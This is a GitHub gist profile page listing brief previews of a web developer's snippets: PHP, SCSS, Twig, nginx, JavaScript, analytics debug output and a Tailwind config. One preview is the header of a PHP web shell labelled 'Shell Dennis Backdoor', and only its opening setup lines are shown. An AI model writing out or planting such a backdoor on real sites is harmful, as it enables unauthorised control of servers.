Skip to content

Instantly share code, notes, and snippets.

Avatar
🤔
Focusing

David Hellmann davidhellmann

🤔
Focusing
View GitHub Profile
View ColorExtract.php
<?php
namespace modules;
use Craft;
// Elements
use craft\elements\Asset;
use craft\elements\Category;
// Events
@davidhellmann
davidhellmann / input.scss
Created Oct 18, 2020
Generated by SassMeister.com.
View input.scss
@mixin space($properties: padding, $factor: 1, $important: null) {
$multi: 1;
@if type-of($factor) == number {
@if $factor < 0 {
$factor: $factor * -1;
$multi: -1;
}
// Set Vars
View image helper macro.twig
{#
Image Helper
------------------------------------------------------------
{% import '_macros/_macro-imageHelper.twig' as image %}
#}
{% apply spaceless %}
{# Get Image Extension #}
{%- macro getImageExtension(image) -%}
View gist:00f2499b8150998e20705fc93e4795ba
<?php
set_time_limit(0);
ini_set('display_errors', 0);
ini_set('display_startup_errors', 0);
error_reporting(E_ALL);
include('pdf.php');
function query_str($params) {
View gist:ffa618c94add8adeda9c454cd2c8a761
<?php
//Shell Dennis Backdoor
//Redesign By Dennis
//
set_time_limit(0);
error_reporting(0);
if(get_magic_quotes_gpc()){
View gist:d45255bfe414dc4112096e1ef17fbe7a
# FORGE CONFIG (DOT NOT REMOVE!)
include forge-conf/bestwebsite.gallery/before/*;
# Bots to ban via user agent
map $http_user_agent $limit_bots {
default 0;
~*(AhrefsBot|Baiduspider|PaperLiBot) 1;
}
server {
View scrollObserver
/**
* ScrollMonitor
*/
const scrollMonitorScript = {
cfg: {
selectors: {
waypoint: '[waypoint]',
waypointTarget: '[waypoint-target]',
},
View google-analytics
Auf seiten wo es geht kommt im GA Debugger das:
analytics_debug.js:25 Initializing Google Analytics.
analytics_debug.js:25 Loading resource for plugin: ec
analytics_debug.js:25 Loading script: "https://www.google-analytics.com/plugins/ua/ec.js"
analytics_debug.js:25 Running command: ga("create", "UA-XXX-XXX", {name: "gtm1", cookieDomain: "auto"})
analytics_debug.js:25 Running command: ga("gtm1.set", "&gtm", "XXX")
analytics_debug.js:25 Running command: ga("gtm1.set", {anonymizeIp: true})
analytics_debug.js:25 Running command: ga("gtm1.set", "hitCallback", [function])
analytics_debug.js:25 Running command: ga("gtm1.send", "pageview")
View json-ld
{
"@context": "http://schema.org",
"@graph": [
{
"@type": "AboutPage",
"author": {
"@id": "https://www.schaper-wels.at/#identity"
},
"copyrightHolder": {
"@id": "https://www.schaper-wels.at/#identity"
View config.js
/*
** TailwindCSS Configuration File
**
** Docs: https://tailwindcss.com/docs/configuration
** Default: https://github.com/tailwindcss/tailwindcss/blob/master/stubs/defaultConfig.stub.js
*/
// Cols Function
function cols(col, context, unit) {